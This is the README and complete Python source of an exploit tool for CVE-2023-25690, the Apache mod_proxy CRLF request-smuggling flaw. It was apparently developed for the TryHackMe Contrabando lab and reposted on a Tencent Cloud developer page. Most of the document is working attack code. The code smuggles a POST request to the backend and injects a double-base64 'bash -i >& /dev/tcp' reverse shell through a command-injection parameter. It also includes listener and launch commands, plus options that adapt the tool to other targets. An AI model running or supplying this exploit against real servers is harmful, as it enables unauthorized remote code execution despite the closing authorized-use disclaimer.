
针对 CVE-2023-25690 的 Python 漏洞利用脚本。该漏洞是 Apache mod_rewrite/mod_proxy 模块中的 CRLF 注入缺陷(影响 Apache HTTP Server ≤ 2.4.55),攻击者可借此向前端反向代理走私一个完全独立的 HTTP 请求,直接送达后端服务器,从而绕过前端施加的所有过滤、缓存或静态响应逻辑。
本工具在攻克 TryHackMe Contrabando 靶机时开发并验证,利用该漏洞绕过了提供静态 PHP 源码的前端 Apache 实例,触达存在 OS 命令注入漏洞的后端端点,最终获取反弹 Shell。
受影响的 Apache 配置使用带有 [P](代理)标志的 RewriteRule 将请求转发至后端服务器,例如:
RewriteRule "^/page/(.*)$" "http://127.0.0.1:8080/$1" [P]捕获组($1)在替换进后端请求时未剥离 CRLF 控制字符。攻击者只需在请求路径中 URL 编码一个 \r\n(即 %0d%0a),即可向发送至后端的流中注入任意额外头部——甚至一整个第二 HTTP 请求。后端无法将其与同一连接上两个合法的独立请求区分开来。
修复版本: Apache HTTP Server 2.4.56,该版本在代理前会拒绝 RewriteRule 替换中的控制字符。
socket、argparse、base64)# 克隆仓库
git clone https://github.com/qife/cve-2023-25690-exploit.git
cd cve-2023-25690-exploit
# 赋予执行权限
chmod +x smuggle_rce.py在运行利用脚本之前,需先启动监听器以接收反弹 Shell:
nc -lvnp <你的监听端口>python3 smuggle_rce.py -t <目标IP> -l <你的IP> -p <监听端口>参数 | 必填 | 默认值 | 描述 |
|---|---|---|---|
| 是 | — | 目标 IP 或主机名(前端代理) |
| 是 | — | 反弹 Shell 回连的你的 IP |
| 是 | — | 你的监听端口 |
| 否 |
| 目标前端端口 |
| 否 |
| 请求被走私到的内部后端端口 |
| 否 |
| 触发漏洞重写规则的外层路径 |
| 否 |
| 走私请求所针对的真实后端路径 |
| 否 |
| 被反射进 Shell 命令的漏洞 POST 参数名 |
场景一:Contrabando 靶机(默认配置)
# 终端1:启动监听
nc -lvnp 4444
# 终端2:发起攻击
python3 smuggle_rce.py -t 10.10.10.10 -l 10.8.0.5 -p 4444场景二:适配不同目标
若目标应用的文件名、参数名或后端端口与 Contrabando 靶机不同,可通过参数覆盖:
python3 smuggle_rce.py -t 10.10.10.10 -l 10.8.0.5 -p 4444 \
--path /app/generate.php \
--backend-path /generate.php \
--param size \
--backend-port 5000def make_double_b64_bash_payload(lhost, lport):
"""
构造双重 Base64 编码的反弹 Shell 命令。
第一次编码:将原始 bash 命令转为 Base64
第二次编码:再次编码,以穿越 URL 编码层和 shell 解析层
"""
raw_cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
once = base64.b64encode(raw_cmd.encode()).decode()
twice = base64.b64encode(once.encode()).decode()
return twicedef urlencode_crlf(s):
"""
将字符串中的 CRLF 序列替换为 URL 编码形式 %0d%0a,
并将空格编码为 %20,以便嵌入 URL 路径中传输。
"""
return s.replace("\r\n", "%0d%0a").replace(" ", "%20")def main():
args = build_args()
# 生成双重 Base64 编码的反弹 Shell Payload
b64_payload = make_double_b64_bash_payload(args.lhost, args.lport)
# 构造内层 POST 请求体:利用命令注入漏洞,通过 $() 执行解码后的反弹 Shell
body = f"{args.param}=1;$(echo {b64_payload}|base64 -d|base64 -d|bash)"
body_len = len(body.encode())
print(f"[*] Target: {args.target}:{args.target_port}")
print(f"[*] Backend port: {args.backend_port}")
print(f"[*] Reverse shell to: {args.lhost}:{args.lport}")
print(f"[*] Inner body length: {body_len}")
print(f"[*] Inner body: {body}")
# 构建内层完整 HTTP POST 请求(将被走私至后端)
smuggled_request = (
f"POST {args.backend_path} HTTP/1.1\r\n"
f"Host: 127.0.0.1:{args.backend_port}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {body_len}\r\n"
f"\r\n"
f"{body}"
)
# 对内层请求进行 CRLF → URL 编码转换
encoded_smuggled_part = urlencode_crlf(smuggled_request)
# 构造外层请求行:在路径中注入编码后的内层请求
request_line = (
f"GET {args.path}%20HTTP/1.1%0d%0a"
f"Host:%20127.0.0.1:{args.backend_port}%0d%0a%0d%0a"
f"{encoded_smuggled_part} HTTP/1.1"
)
# 拼接最终完整请求
full_request = (
f"{request_line}\r\n"
f"Host: {args.target}\r\n"
f"\r\n"
)
print("\n---- SENDING ----")
print(full_request)
print("------------------")
# 通过原始 TCP Socket 发送请求
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)
s.connect((args.target, args.target_port))
s.sendall(full_request.encode())
# 接收响应
response = b""
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
pass
print("---- RESPONSE ----")
print(response.decode(errors="replace"))
s.close()def build_args():
"""
构建并解析命令行参数,提供完整的可定制选项,
使得工具可适配不同的目标环境。
"""
parser = argparse.ArgumentParser(
description="CVE-2023-25690 HTTP Request Smuggling RCE exploit (generic)"
)
parser.add_argument("-t", "--target", required=True,
help="Target IP or hostname (front-end)")
parser.add_argument("-P", "--target-port", type=int, default=80,
help="Target port (default: 80)")
parser.add_argument("-l", "--lhost", required=True,
help="Your (attacker) IP for reverse shell callback")
parser.add_argument("-p", "--lport", type=int, required=True,
help="Your (attacker) listener port")
parser.add_argument("-b", "--backend-port", default="8080",
help="Backend internal port (default: 8080)")
parser.add_argument("--path", default="/page/gen.php",
help="Vulnerable outer path used for the CRLF injection")
parser.add_argument("--backend-path", default="/gen.php",
help="Real backend path the smuggled request should hit")
parser.add_argument("--param", default="length",
help="Vulnerable POST parameter name reflected into a shell command")
return parser.parse_args()本工具仅供教育目的和授权的安全测试使用(CTF 平台、您自有的实验环境,或持有明确书面授权的渗透测试项目)。请勿对未获授权测试的系统使用本工具。作者对任何滥用行为不承担任何责任。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。